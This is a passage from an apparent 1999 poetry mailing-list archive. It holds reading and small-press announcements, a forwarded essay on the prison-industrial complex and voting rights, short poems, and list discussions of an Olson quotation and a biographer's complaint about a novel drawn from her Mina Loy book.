Mr Rakosi, born in 1903 in Berlin, spent his early childhood in Hungary, emigrating to the US at age six. He became a friend and associate at the University of Wisconsin with of circle of poets and political activists that included so-called "proletarian-poet" Kenneth Fearing, among others. On reading his early magazine publications (Little Review, transition, New Masses, et al) Louis Zukofsky asked Rakosi to contribute to the renowned "Objectivists" issue of Poetry magazine (February 1931) where he was featured beside Charles Reznikoff, Basil Bunting, W.C. Williams, and, later as well, to AN "OBJECTIVISTS" ANTHOLOGY (1932), published in France by George & Mary Oppen's small expatriate press, To, Publishers. Mr Rakosi dropped out of poetry publishing between 1941 & the early sixties (devoting himself to social work). New Directions would publish two books, AMULET and ERE-VOICE, and Black Sparrow EX CRANIUM, NIGHT, during the 60s and 70s, alongside a scattering of limited letterpress items. In recent years, the National Poetry Foundation published both a volume of COLLECTED PROSE and COLLECTED POEMS, & the critical volume, CARL RAKOSI: MAN & POET, while British poet (& former student in the mid-60s at Buffalo) Andrew Crozier edited Rakosi's POEMS 1923-1941 (Sun & Moon, 1995), presenting for the first time in a book the early magazine work.

Still prolific at age 96, Mr Rakosi has had two recent books published in England by poet Nicholas Johnson's etruscan books: THE EARTH SUITE (1997) and - just slipped through customs - THE OLD POET'S TALE, whose title poem is a remarkable piece on the last years of his friend George Oppen. A beautiful large book, THE OLD POET'S TALE collects several booklength series of poems & is the first of three volumes planned for publication by etruscan books, as Mr Rakosi's COLLECTED WORKS. He of course, will be signing copies of these new works Thursday night, following the reading.

Don't miss this rare opportunity to hear Carl Rakosi reading from his poetry in San Francisco. This special event is presented as part of the Centennial Celebration of San Francisco State University, which has sponsored and housed The Poetry Center since it's founding in 1954.

See you there!

The Poetry Center: [redacted]
Steve Dickison, Director [redacted]
David Booth, Associate [redacted]

[We know, the Master Musicians of Jajouka are playing Maritime Hall this same Thursday night, but you can probably make it easily across town - after the poetry]

↑ Index

85. Douglas
new books from Sun & Moon and Green Integer
Wed 8 Sep 1999

Dear readers:

Sun & Moon Press and Green Integer have both had a very busy summer, and we have lots of new titles to announce. Once again, we offer these books to people on the list for a 20% discount. We suggest that to order you should mail a check or money order with $1.25 postage charge per book. You can order over E-mail or through our web sites: www.sunmoon.com and www.greeninteger.com, but we prefer pre-payments, since some payments have been very slow in coming and we always need the cash to do new books.

Here are the new titles:

SUN & MOON

THE CONFETTI TREES, by Barbara Guest $10.95 ($8.76 for Poetics List members)

Barbara's wonderful, stylish, and beautifully poetic short tales concerning film and filmmakers. Barbara lived in Los Angeles as a young girl, and met some of the great early film-directors (through her childhood friends). Stories here concern figures such as Lang, Milestone, Lubitsch, etc. This is a beautiful book with art on the cover and inside as well. An important development in Guest's great career.

THE PROMISED LAND: ITALIAN POETRY AFTER 1975 A Bilingual Edition Edited by Luigi Ballerini, Beppe Cavatorta, Elena Coda, and Paul Vangelisti $25.95 ($20.76 for list members)

The much promised PROMISED LAND is finally availalbe. This is truly the most splendid gathering of Italian contemporary poetry ever published. It includes a liberal sampling of poems by 30 poets (it's 686 pages long), including Amellia Rosselli, Nanni Balestrini, Biagio Cepollaro, Milo De Angelis, Alfredo Giuliani, Milli Graffi, Giulia Niccolai, Elio Pagliarani, Antonio Porta, Giovanna Sandri,

Edoardo Sanguinetti, Adriano Spatola, Emilio Villa, and Andrea Zanzotto. An important book.

A FRAME OF THE BOOK, Erin Mouré $12.95 ($10.36 for list members)

Erin Moure is one of the most adventursome and yet skillful of contemporary Canadian poets. Her work is truly wonderful, and we hope readers in the US will become more aware of it.

GREEN INTEGER

Just to let you know, Green Integer is an independent publishing venture, edited by me (Douglas Messerli). It is not part of Sun & Moon.

ON IBSEN, James Joyce $8.95 ($7.16 for list members)
Edited with an Introduction by Dennis Phillips
Green Integer 12

This book includes all the writings Joyce did on the Norwegian playwright, Henrik Ibsen, a writer to who Joyce was attracked very early in his career. Phillips contextualizes that interest in an introductory essay.

ON OVERGROWN PATHS, Knut Hamsun $12.95 ($10.36 for list members)
Green Intger: 22

The first authoritative English translation (by Sverre Lyngstad, who also did Sun & Moon's ROSA) of Hamsun's last book, written after World War II, at a time when Hamsun was in police custody for his openly expressed Nazi sympathies during the German occupation of Norway, 1940-45. This is Hamsun's defense and apologia, and in its creative elan, the books, filled with the proud sorrow of an old man, miraculously recalls the spirit of Hamsun's early novels, with their reverence for nature, absurdist humor, and quirky flights of fancy.

POEMS, by Sappho $10.95 ($8.76 for list members)
Translated by Willis Barnstone
Green Integer: 26

This wonderful edition of Sappho's poems was the one originally published by Sun & Moon Press, an edition which sold out in a few months time. It's a great book for the classroom.

HELL HAS NO LIMITS, José Donoso $10.95 ($8.76 for list members)
Translated from the Spanish by Suzanne Jill Levine
Green Integer: 28

One of the best novels by the great Chilean magic-realist, this book recounts a fateful day in the collective existence of Estacion El Olivo, a decayed community marked for doom as surely as Donoso's central character, the transvestite

dance/prostitute la Manuela, whose virginal daughter operates the brothel out of which she/he works. A powerful book.

THEORETICAL OBJECTS, Nick Piombino $10.95 ($8.76 for list members) Green Integer 34

For several years now poet Nick Piombino has been writing a series of personal statements--manifestos, sayings, speeches, and autobiographical-like pieces--which cross the boundaries of essay and poetry. Here are 49 of these works collected. This is a book for anyone who likes poetry and wants to explore how meaning is made.

ART POETIC' by Olivier Cadiot $!2.95 ($10.36)
Translated from the French by Cole Swensen
Green Integer: 36

This many-voiced, multi-perspective poetic text could be likened to the journal of a scientist recording observable phenomena, but yet resisting to make any conclusions of the truth of what is perceived, since language inherently shifts, moves, and falls into silence. Cadiot is dead serious in his explorations, but his work is also filled with humor and wit.

FUGITIVE SUNS: SELECTED POETRY by Andrée Chedid ($11.95 $9.56 for list members) Translated from the French by Lynne Goodhart and Jon Wagner
Green Integer: 37

With over twenty-six books of poetry, ten novels, four collections of short stories, and various books of theater, film, essays and children's books, Egyptian born Andrée Chedid is one of the most noted authors of our time. This collects a representative selection of her poetry, presented bi-lingually.

Upcoming this month:

MEXICO. A PLAY, by Gertrude Stein
BALLETS WITHOUT MUSIC, WITHOUT DANCERS, WITHOUT ANYTHING, by Louis-Ferdinand Céline
and other Green Integer titles.

↑ Index

86. Douglas
One more Green Integer title
Wed 8 Sep 1999

In my mailing of a short while ago, I forgot one other Green Integer title, the newest, and an important one.

SKY-ECLIPSE, by Régis Bonvicino. ($9.95, $7.96 for list members)

Translated by Michael Palmer and others
Green Integer: 44

Some of you may know Régis Bonvicino has the central editor (along with Michael Palmer and Nelson Ascher) of the Sun & Moon anthology of Brazilian poetry, NOTHING THE SUN COULD NOT EXPLAIN. Régis is a true force of contemporary Brazilian writing, interested in exchanging ideas and causing exciting things to happen on Brazilian scene. Through his own reviews in the major Sao Paolo newspaper, his editing, and his own poetry, he's a virtual dervish of excitement. This book brings togther a substantial gathering of his own poetry, presented bi-lingually.

↑ Index

87. Tom Orange
Olson quotation
Wed 8 Sep 1999

---

hello all,

can anyone help me identify this olson quotation?:
"that which exists through itself is what is called meaning."

much thanks,
tom orange in d.c.

↑ Index

88. Alan Sondheim
[BRC-NEWS] Race-ing Justice: The Prison-Industrial Complex (fwd)
Wed 8 Sep 1999

(I urge you to subscribe to this list - see the end - Alan)

---------- Forwarded message ----------
-Date: Wed, 8 Sep 1999 07:39:02 -0400
-From: Manning Marable <[redacted]>
-To: [redacted]
-Subject: [BRC-NEWS] Race-ing Justice: The Prison-Industrial Complex

Along The Color Line

September 1999

Race-ing Justice: The Prison-Industrial Complex

By Dr. Manning Marable <[redacted]>

Several months ago, 650 people attended the "Race-ing Justice" Conference in New York, sponsored by the Institute for Research in African-American Studies

at Columbia University. In more than two dozen panels and workshops, black people examined the destructive impact of the police, the courts and the prison system upon the African-American community. Our current situation today, however, must be understood against the totalitarian history of racial domination in America.

For two centuries, the black community was confronted with the totalitarianism of slavery. All people of African descent, slave or free, were oppressed and subordinated by this structure of unequal racial power. For nearly a century after the Civil War and Reconstruction, black people experienced the systemic subordination of Jim Crow segregation. Regardless of one's income, education or social status, to be black under the totalitarian restrictions of Jim Crow meant confinement to second class status. In the twentieth century, the construction of the urban ghetto imposed another kind of social control on black development, certainly less pervasive than slavery had been, but in some respects was more destructive to the human spirit. Today, the new totalitarian mode of racial domination has become the prison industrial complex, an ever expanding archipelago of prisons across the American countryside.

In the United States today, about four to five million Americans receive criminal records every year. Roughly one in five U.S. citizens has a criminal record. In a society severely stratified by race and class, most of those who are pushed into the penal system are not unexpectedly black, brown and poor. One third of all prisoners were unemployed at the time of their arrest, with the others averaging less than $15,000 annual incomes in the year prior to their arrest. About one half of the 1.8 million people in federal and state prisons and jails are African Americans.

As researcher J.W. Mason noted, "The proportion of black men in prison about 6 percent is approximately 20 times the corresponding rate for white men . . . In Baltimore, 56 percent of black men are in prison or jail, out on bail, on probation or parole, or being sought on an arrest warrant. At least 90 percent of black men can expect to be arrested and jailed for a non-traffic offense at some point of their lives." Although the majority of black prisoners are young men in their twenties and thirties, the fastest growing sector of the penal population consists of men fifty-five years old and above.

Even outside of the prison walls, the black community's parameters are largely defined by the agents of state and private power. There are now about 600,000 police officers and 1.5 million private security guards in the U.S. Increasingly, however, black and poor communities are being "policed" by special paramilitary units, often called SWAT ("Special Weapons and Tactics") teams. Researcher Christian Parenti cites studies indicating that "the nation has more than 30,000 such heavily armed, military trained police unites." SWAT team

mobilizations or "call outs" increased 400 percent between 1980 and 1995, with a 34 percent increase in the incidents of deadly force recorded by SWAT teams from 1995 to 1998.

What are the political consequences of regulating black and poor people through the criminal justice and penal systems? Perhaps the greatest impact is on the process of black voting. According to an October, 1998 study, "Losing the Vote," produced by the Sentencing Project and Human Rights Watch, two nonprofit research groups, about 3.9 million Americans, or one in fifty adults, have currently or permanently lost the ability to vote because of a felony conviction. In 32 states, convicted offenders are not permitted to vote while on parole. In fourteen states, former prisoners who have fully served their terms remain disenfranchised, and in ten of these states, ex-felons are prohibited from voting for life. For African Americans, these figures can be translated into 1.4 million men who are denied the right to vote, compared to 4.6 million who actually voted in the 1996 elections. The racial impact of ex-felon disenfranchisement cited by the study is truly astonishing

o In Alabama and Florida, 31 percent of all black men are permanently disenfranchised.

o In five other states Iowa, Mississippi, New Mexico, Virginia, and Wyoming one in four black men (24 to 28 percent) is permanently disenfranchised. In Washington state, one in four of black men (24 percent) are currently or permanently disenfranchised.

o In Delaware, one in five black men (20 percent) is permanently disenfranchised.

o In Texas, one in five black men (20.8 percent) is currently disenfranchised.

o In four states Minnesota, New Jersey, Rhode Island, and Wisconsin 16 to 18 percent of black men are currently disenfranchised.

o In nine states Arizona, Connecticut, Georgia, Maryland, Missouri, Nebraska, Nevada, Oklahoma and Tennessee 10 to 15 percent of black men are currently disenfranchised.

In effect, the Voting Rights Act of 1965, which guaranteed millions of African Americans the right to the electoral franchise, is being gradually repealed by state restrictions on ex-felons from voting. A people who are imprisoned in disproportionately higher numbers, and then systematically denied the right to vote, can in no way claim to live under a democracy.

********** Dr. Manning Marable is Professor of History and Political Science and Director of the Institute for Research in African-American Studies at Columbia University.

"Along the Color Line" is distributed free of charge and appears in over 325 publications throughout the U.S. and internationally.
****

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---------- Questions/Problems: Send email to <[redacted]> ----------
www.blackradicalcongress.org | BRC | [redacted]

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89. Christopher Reiner
New Witz
Wed 8 Sep 1999

The new issue of Witz is out--on paper and on-line. It's got Guy Bennett writing about visual poetry, Loss Glazier on "Grep," Will Alexander on writing workshops, and Michael Basinski on Robert Grenier's recent work.

A paper copy of the journal is still $4, but if your computer can read Adobe Acrobat (PDF) files, you can download the whole issue for free at:

http://www.litpress.com/witz

Instructions for getting the PDF reader are available at the site. It should work pretty well for most people, but there are always bugs and glitches. The paper edition is more reliable. To get it, send $4 (payable to Christopher Reiner) to P.O. Box 40012, Studio City, CA, 91614

This is the next to the next to the last issue of Witz. The next to last issue will be out in October, and the last issue will be devoted to an index of the previous 20 issues.

--Chris Reiner

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90. Owen Hill
Re: the lack of a state poet laureate
Wed 8 Sep 1999

I would like to nominate.....Tom Clark!

Owen

↑ Index

91. Brian Stefans
Squib 1
Wed 8 Sep 1999

Thanatos and eros --
    bunji jumping from one to the other
    or a dyslexic combine that throws in troves
unequal but spirited poems;
these trysts of banging heads that smother
    deliberations in the senates of hope
    the flecks of eros
vengeful of the thrones.

↑ Index

92. Lawrence Upton.
(no subject)
Wed 8 Sep 1999

It has been pointed out that numerical representation of dates is confusing in countries that do not follow the splended British example. I should know this by

now. Here is the SVP autumn season again (similar adjustment will be made to the website in due course), with clarification, but without the attached begging letter that people attend... Please attend

L

All readings Upstairs 3 Cups Sandland Street London WC1 8 pm for 8.15 pm

Tue 14 Sep 99 From USA: Lisa Raphals

Tue 28 Sep 99 Yang Lian / John Cayley

Tue 12 Oct 99 Andrea Brady / Sean Bonney

Tue 26 Oct 99 1999 Mottram Memorial Reading: Jerome Rothenberg

Tue 9 Nov 99 Brian Catling / Varni Capildeo

Fri 12 Nov 99 Polar Verses: Anselm Hollo, Tomi Kontio, Riina Katajavuori

Tue 16 Nov 99 Michael Heller / David Bromige (to be confirmed)

Tue 7 Dec 99 Alan Halsey & Gavin Selerie

Tue 14 Dec 99 Quick Hits 99: a range of poets / a range of poetries

Background info on many of these poets is available via the website which is updated constantly

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The Sub Voicive Poetry website:
http://www2.crosswinds.net/members/~subvoicivepoetry/

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93. Brian Stefans
Squib 2
Wed 8 Sep 1999

If I temper with your heartsick sender
these bungalows are only provisional
history, the blue milk sky or the white
milk one, well, that's a whole paragraph

of contentment, bursting the bucket
silence in the cities; so in peril we go
on and on, mixing tracks at our feet
with the dust, bone, leaves, yes, Mason,

you're angry, but also a demonstration.

↑ Index

94. sylvester pollet
Ezra Pound in Poet's Corner
Wed 8 Sep 1999

Word is that the Electors of The Poets' Corner have chosen EP. Induction scheduled for October 24, Vespers Service, 7 p.m. Cathedral Church of St. John the Divine, Amsterdam & 111th St. NYC (I'm taking these details from a message on the Pound List, from Tim Redman.)

"Winnowed in fate's tray
neath
luna" (112/785)

↑ Index

95. Richard Dillon
Re: Cid Corman's address
Wed 8 Sep 1999

To Whom It May Concern:

After conferring with a federal case worker in the welfare department (a poet) I have learned that Cid Corman DOES QUALIFY for the following benefits regardless of his prior history:

SUPPLEMENTAL SECURITY INCOME -
MEDICARE -
STIPEND FOR HOUSING (Stateside, it seems - find out)

Have him contact the Social Security Administration in the jurisdiction where his
Social Security Number was branded
Into his backside by cruelmasked figures
Who dangle us screaming in the first harsh light.

>>> Richard Dillon

>From: jesse glass <[redacted]>
>To: [redacted]
>Subject: Re: Cid Corman's address
>Date: Thu, Sep 2, 1999, 1:00 PM
>

> *Here's Cid Corman's mailing address: Fukuoji-cho/80 Utano/Ukyo-ku/Kyoto 616/Japan. Jesse*

> *-----Original Message-----*
> *From: Grant Jenkins <[redacted]>*
> *To: [redacted] <[redacted]>*
> *Date: Wednesday, September 01, 1999 5:32 PM*
> *Subject: Re: Cid Corman's address*
>
> *Burt,*
>
> *John in his latest letter says that we have Corman's address, but I can't find it in the archive. For everyone's benefit, would you please repost that information?*
>
> *Thanks*
>
> *As said, a cheque isn't that good for anything under $500 (due to $35 charged for cashing). The best method is to transfer cash (yen if possible) direct to his bank. (You have the address / details. [i.e., from a previous message: banking details, which he tells me is good for "dollar, yen, or check transfers": Cid Corman c/o Kyoto Shinyo Kinko Bank, Omuro Branch, Omuro Ukyo-ku, Kyoto [redacted] Japan; account number: 095-0010328; bank tel: [redacted].])*
>
> *For smaller amounts sending cash in perhaps a registered envelope / hidden by carbon paper + Cid's details should do it.*

↑ Index

96. **charssmith**

Arcturus Editions: Elizabeth Robinson

Wed 8 Sep 1999

Announcing Arcturus Chaplet #3:

Elizabeth Robinson: LODGER

A recent three part poem printed letterpress on Zerkall Book with a z-fold which opens to display all three sections simultaneously, sewn in Fabriano Ingres covers; 6 1/2" x 7", $5.00.

> To fall back is to break out
> Very letters of your literacy

Elizabeth Robinson's books include _in the sequence of falling things_ (paradigm press, 1990), _Bed of Lists_ (Kelsey St. Press, 1990), _Iemanje_ (Meow, 1993), _Nearings_ (Leave Books ,1991), _String_ (French Broad ,1992), _Other

Veins, Absent Roots_ (Instress, 1998), and _As Betokening_ (Quarry Press, 1999). Her poetry has been anthologized in _49+1 nouveaux poètes américains_ (Éditions Royaumont 1991) & _Primary Trouble: An Anthology of Contemporary American Poetry_ (Talisman House, 1996), and has received two Gertrude Stein Awards. She lives in Berkely, CA.

Also available:

Arcturus Chaplet Series (broadsides in codex form, these are printed letter-press on a single sheet of paper & sewn in covers):

#2, Kenneth Irby: [syzygos], 6 1/2 x 5 5/8, $5.00
#1, Patrick Pritchett, ARK DIVE, 4 x 6 1/2, $4.00

Chapbooks:

Pat Reed: CONTAINER OF STARS
ISBN 0-9661505-2-X, 4 7/8 x 7 1/2, 28 pp., letterpress, artwork by Marianne Kolb, $10.00
$20.00 signed edition, lettered A-Z

Gustaf Sobin, A WORLD OF LETTERS
ISBN 0-9661505-1-1, 6 x 9, 16 pp., letterpress, $8.00

Available from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710; [redacted]; http://www.spdbooks.org; e-mail: [redacted]

or from the press, checks payable to: Charles Smith
$1.50 shipping & postage, $.0.50 per additional items
CA residents, please add 7.25% sales tax

Arcturus Editions
2135 Irvin Way
Sacramento, CA 95822
[redacted]

********** Apologies to all who receive this message more than once. Please let me know if you don't wish to receive any further announcements from Arcturus Editions.
****

↑ Index

97. Bob Grumman

Re: the lack of a state poet laureate

Wed 8 Sep 1999

How reprehensibly elitist of David Bromige to declare himself poet laureate of California. I think every California poet, past and present, which would include

me, California resident for 15 years, should be declared poet laureate of California--for life. Or maybe every resident of California should be so declared, I'm not firm on that yet. But California should surely have at least ten thousand poet laureates.

--Bob G.

↑ Index

98. Karen Kelley
Re: fwd from Carolyn Burke
Wed 8 Sep 1999

I'm a bit at a loss here. What, I wonder, would Carolyn Burke like? That she had been involved in the novelization process? That people not novelize biographies? That the novelizations be biographically accurate? That we not buy Antonia Logue's book? I'm sorry that she feels ripped off, and I can't speak as an academic-who's-been-ripped-off, but if someone's going to novelize a life, I don't see how they can get around the bio. No doubt Carolyn Burke thinks Antonia Logue cut too close to her own work, but where is a novelizer to turn? If Logue is going to speculate, must she speculate radically different speculations than Burke speculates? If you're novelizing a bio, aren't you mythologizing? And so perhaps preferable to use the more common myths?

Excellent questions all, but I can't shake the feeling that I was expected to react to a brouhaha...

> From: Maria Damon <[redacted]>
> To: [redacted]
> Subject: Re: fwd from Carolyn Burke
> Date: Tuesday, September 07, 1999 6:01 PM
>
> i would advise professor (?) burke to contact the National Writers' Union.
> For the price of your tax deductible union dues, advice on grievance
> procedures is yours for the asking. it is very distressing when original
> research that was conducted in relative oblivion and with liitle cultural
> support is then appropriated as "common knowledge" about a subject; but it
> also speaks to the influential nature of our work, and how invisible these
> lines of influence are. i'm glad to be alerted of this. i wish it weren't
> so, but it happens all the time and should indeed be made matter for

public
> discussion.
>
> At 3:28 PM -0500 9/7/99, Keith Tuma wrote:
> >Carolyn Burke has asked me to forward her letter below about
developments
> >in MIna Loy land.
> >
> >Keith Tuma
> >
> >***
> >
> >
> >Carolyn Burke
> >322 Walnut Ave
> >Santa Cruz, CA 95060
> >U.S.A.
> >Tel [redacted] Fax [redacted] Email
[redacted]
> >
> >
> > Mina Loy's life is the stuff of drama. Given her expatriate
> >experience, participation in the radical art movements of the early
> >twentieth century, and romance with the boxer/poet Arthur Cravan, it is
not
> >surprising that her life has been recast in a work of fiction.
> > It is disturbing to note, however, that Antonia Logue's novel
> >Shadow-Box (Bloomsbury, Grove/Atlantic, 1999) relies heavily on my
> >biography Becoming Modern, The Life of Mina Loy (Farrar, Straus &
Giroux,
> >1996; U. of California P., 1997)--not only for historical facts but also
> >for overarching themes, treatment and interpretation of cultural
milieux,
> >and in some cases, narrative structures. A comparison of the two books
> >shows that while Logue sought to transform this material, her novel
> >piggy-backs on my work, often interweaving innovative parts of the
> >biography and presenting them as "fact."
> > I have been advised that this use of my work is not in itself
> >actionable, but it nonetheless raises issues inherent in the genre of
> >novelization. On Logue's behalf one could argue that since the
publication
> >of Becoming Modern Mina Loy's life has entered the public domain.

Judging
> >by the stares of non-recognition that still greet me in bookshops,
however,
> >such a claim is misleading. When I began work on the biography twenty
> >years ago, she had been so thoroughly forgotten that most people thought
I
> >was writing about the film star. Since its publication critics have
> >recognized Becoming Modern as definitive. As such it has a different
> >status from lives of figures like Gertrude Stein, Hemingway, or Pound,
> >about whom new biographies are written every decade: for this reason
> >Logue's appropriations are all the more salient.
> >Moreover, although she does credit Becoming Modern as one of two
> >"outstanding sources," this acknowledgement is misleading. It suggests
> >only a partial recognition of a much greater indebtedness and could be
> >thought to imply some form of cooperation on my part. While Logue
appears
> >to have done no original research into the life of Mina Loy, relying
> >entirely upon the biography, I was never asked to lend my support to her
> >project.
> > Excerpts from reviews of Shadow-Box (none of which mentions
> >Becoming Modern) partially demonstrate the nature of the appropriations:
> >
> >thematic:
> >
> >--the biography's major themes reappear as those of the novel: "the
> >conflicting forces at work in the first decades of the century; the
> >dynamism and energy of new movements in art and thought, as opposed to
the
> >left-over Victorian propriety that traps the talented, intelligent Mina
in
> >an early loveless marriage; forward-looking New York, where her first
poems
> >are published and appreciated, versus stuck-in-the-past Europe"
(Literary
> >Review)
> >
> >intellectual and cultural milieux & forms:
> >
> >-- While Becoming Modern is what made it possible for Logue to evoke the
> >lively artistic backgrounds, from Post-Impressionism to Futurism and
Dada,
> >not to mention Loy's lovers and friends like Marinetti, Duchamp, and

> >Picabia, she is credited with original portrayals of "the intellectual
> >excitement and controversy surrounding the arts in the pre-WWI period,"
> >even with creating "witty and illuminating" glimpses of the period's
> >luminaries (Kirkus)--the details of which derive from my treatment of
these
> >movements and figures.
> >
> >some uses of specific details, settings, and structures:
> >
> >To demonstrate the nature of Logue's borrowing, readers should compare
the
> >following sections of each work:
> >
> >Shadow-Box Becoming Modern
> >
> >pp. 28: Mina walking Oda in p. 96: detail based on
my
> >Luxembourg Gardens experience, inserted for
> >
> >
> > verisimilitude
> >
> >p. 29: treatment of the name "Loy" p. 97: interpretation of
the
> > fragmentary evidence
> >
> >pp. 34-35: LeSavoureux story pp. 102-104:
interpretation,
> >repeated as fact considered controversial
by
> >
> > Mina Loy's family
> >
> >pp. 95-98: presentation of pp. 151-153: original
> > material on Frances Stevens and
research,
> >interpretation,
> >Italian Futurists and staging of scenes
> >
> >pp. 99-102: narrative use of pp. 155-157: original
> > Futurist serata, Florence
> > interpretation, staging of scene

> >
> >pp. 110-111: Marinetti's trip to pp. 171-172:
> >Vallombrosa "invention" of this
meeting
> >
> > based on fragmentary
evidence
> >
> >pp. 161-163: scene of Cravan pp. 263-265:
interpretation
> >leaving Salina Cruz and staging of material
woven
> > from diverse sources
> >
> >pp. 168-176: Loy at Arensbergs', pp. 212-223:
interpretation
> >relations with Duchamp, Williams, & treatment of this
group &
> >New York Dada individuals including
> >details
> > of badinage with Duchamp
> >
> >pp. 177-200: Cravan, Independents pp. 223-233, 234-251,
> >details,
> >structured in two parts, with Cravan story interpretations &
narrative
> > starting on p. 182 device
of
> >highlighting Cravan
> > story (my Ch. 11)
> >
> >pp. 263-267: Salina Cruz scene, details pp. 263-265, recreation
> > of boat, communication system, role of
Cravan's
> >fate from disparate
> >of Bob Brown sources including Brown
> >
> > Given my response to these uses of my biography, it is for
someone
> >else to judge Shadow-Box. Others will decide whether it transforms the
> >biographical materials, or whether it remains a derivative work penned,
as

> >Jonathan Dee observes of recent novels based on the lives of writers,
> >"ostensibly as an act of homage, but also, not coincidentally, as a way of
> >grabbing up the genuine cachet. . . geniuses still deliver, in order to
> >enhance the value of one's own work." ("The Reanimators, Harper's, June
> >1999).
> > It would also be instructive for Mina Loy enthusiasts to compare
> >Logue's novel with Albert Guerard's The Hotel in the Jungle (Baskerville,
> >1996), a work of imaginative fiction composed before my book appeared and
> >based on what was then known of the Loy/Cravan story. Guerard made the
> >legend his own by creating a setting for their romance (the hotel) and a
> >group of characters who retrospectively piece together their story.
> > While it is a pleasure to see novelists' creative transformations
> >of historical material (and there are many successful examples), Logue's
> >raises serious questions about literary method and publishing ethics.
> >Caveat lector, and may this brief account stimulate further discussion.

↑ Index

99. megan minka lola camille roy

Saidenberg and Singleton reading at New Langton Arts

Wed 8 Sep 1999

Announcing the Bay Area Award Show Reading
New Langon Arts, San Francisco.
Come one, come all.

Jocelyn Saidenberg and giovanni singleton are the recipients of the Bay Area Award for 1999. These two extraordinary younger poets will read at New Langton Arts on Thursday, September 16th, 8PM. 1246 Folsom Street. Reservations and Info: [redacted]

Come experience the lively pulse of new writing in San Francisco.

Jocelyn Saidenberg will present a selection of new poetry and prose. giovanni singleton will read from a new collection of poetry entitled "Atlas: the green book".

Jocelyn Saidenberg is the author of Mortal City, Parentheses Writing Series (1998). Her work has been published in many journals such as Arshile, Outlet, Mirage#4/Period[ical], and Primary Writing. She is Executive Director of Small Press Traffic and the editor and publisher of KRUPSKAYA, a small press

collective dedicated to publishing experimental poetry and prose. Born and raised in NYC, she has been living in San Francisco since 1994.

giovanni singleton, a native of Richmond, VA, received a MFA in Creative Writing and Poetics from The New College of California. She has been awarded
fellowships from the Squaw Valley Community of Writers Workshop and the Zora
Neal Hurston/Richard Wright Writers Workshop. Since 1997, she has served as a
member of the Board of Directors for Small Press Traffic, a literary arts
center in San Francisco. Her work has appeared in a number of publications including
mirage4/period(ical), mass ave., nØ rØses review, Proliferation, the Bay Guardian's Haiku Corner, Chain and The Breast: An Anthology (Global City
Press; New York, 1994).

↑ Index

100. Tony Green
Re: Olson quotation
Wed 8 Sep 1999

Berkeley Poetry Conference - 20 July 1965
printed as _Causal Mythology_ in _ Charles Olson. Muthologos, vol 1, Four seasons Foundation, Bolinas, 1977, pp.63-96 _.

(also cited by Robert Creeley in
introduction to _Selected Writings of Charles Olson_ New Directions. 1966)

The quote is on p.72 followed by
"I don't have any trouble stealing that."

Isn't it taken from Lao Tze? Could someone please confirm that. I looked for it once, cdn't locate it. I don't have a copy to hand. Tony Green

-----Original Message-----
From: Tom Orange <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, 9 September 1999 09:50
Subject: Olson quotation

> *hello all,*
>
> *can anyone help me identify this olson quotation?:*

> "*that which exists through itself is what is called meaning.*"
>
> *much thanks,*
> *tom orange in d.c.*

↑ Index

101. Wystan Curnow
Re: fwd from Carolyn Burke
Wed 8 Sep 1999

Karen Kelley wrote:

> *I'm a bit at a loss here. What, I wonder, would Carolyn Burke like? That she had been involved in the novelization process? That people not novelize biographies? That the novelizations be biographically accurate? That we not buy Antonia Logue's book? I'm sorry that she feels ripped off, and I can't speak as an academic-who's-been-ripped-off, but if someone's going to novelize a life, I don't see how they can get around the bio. No doubt Carolyn Burke thinks Antonia Logue cut too close to her own work, but where is a novelizer to turn? If Logue is going to speculate, must she speculate radically different speculations than Burke speculates? If you're novelizing a bio, aren't you mythologizing? And so perhaps preferable to use the more common myths?*
>
> *Excellent questions all, but I can't shake the feeling that I was expected to react to a brouhaha...*

I guess they do sound excellent to their author but am I the only reader who finds them mostly answered in Burke's post? WHERE IS THE NOVELIZER TO TURN? o, poor noveliser! Novelisers Go Home, I say. Seems like there's some confusion about genre here, about how to be in or out of genre or meaningfully neither in or out. Am I wrong?

Wystan

↑ Index

102. Stephen Vincent
Re: the lack of a state poet laureate
Wed 8 Sep 1999

Why not:

King Poet Laureate, David Bromige
&
Queen Poet Laureate, Joanne Kyger

Whether this is a California Divine Regency or not, is probably open to question. But Joanne's native birth right will heal any problems with David's alien Canadian status. And they will both look great and appropriate together in pageant or play.

↑ Index

103. **charssmith**
Re: Olson quotation
Wed 8 Sep 1999

<< can anyone help me identify this olson quotation?:

> "that which exists through itself is what is called meaning." >>

Tom,

It's a quote from _The Secret of the Golden Flower_ that Olson uses in hisessay/talk "Causal Mythology" (first vol. of _Muthologos_ & undoubtedly in the Cal Collected Prose).

He uses it again in the poem "The Secret of the Black Chrysanthemum" that Charles Stein devoted a book-length study to.

all best,
cs

↑ Index

104. **Mark Salerno**
Novels of the Sixties
Wed 8 Sep 1999

Colleagues:

I'd appreciate hearing from anyone with suggestions for a course on the Novels of the Sixties. Of particular interest are novels that reflect, in form and/or content, the counter culture. The limit for this theme (arbitrary though it may be) is that the publication date of the book must fall between 1960 and 1970.

Reply by backchannel.

Thank you.

Mark Salerno

↑ Index

105. Alan Sondheim
Re: Need help for a Millennial Project through trAce!
Wed 8 Sep 1999

Depends of course - but part of the idea is to see what happens with the Y2K rollover, which is the earlier hinge (there's another around 2038 but I'll be dead). It's looking at the way the electrical grid works, it's coming to grips with the grid, not just presenting on the surface, but watching the measure of its nerves.

Alan

On Tue, 7 Sep 1999, George Bowering wrote:

> =
>
> *Millennium Project - Help Needed, Comments Invited !!!*
>
> *This is a proposal for a millennium project that would involving running traceroute and similar applications across the December 31 / January 1 _hinge._*
>
> *That would be Dec 2000 -- Jan 2001, wouldnt it?*
>
> *George Bowering.*
>
> *fax:* [redacted]

http://www.anu.edu.au/english/internet_txt - partial mirror at http://lists.village.virginia.edu/~spoons/internet_txt.html co-moderator Cyber-culture, Cybermind, Fiction of Philosophy (fop-l)

↑ Index

106. Alan Sondheim
SILICONATHANOR - new magazine project (fwd)
Wed 8 Sep 1999

the
siliconathanor
magazine project

PLEASE SPREAD THIS MESSAGE

Ten years after the experience with "Circolo Pickwick" magazine, I'm planning to realise at the beginning of the new year a "number zero" (experimental issue) of a new printed magazine.
The title will be "siliconathanor".
We are looking for contributors.
Here are the characteristics of this new project.

SPECIFICATIONS:
Size: something inside A3 (probably cm. 34X28,5)
Cover: full colour
Internal pages: b/w
number of pages: to define

THE SPIRIT:
We want to realise an artistic project, to explore mainly the areas between electronic media and creativity in this peculiar moment.

MATERIALS WE ARE LOOKING FOR:

A) TEXTS

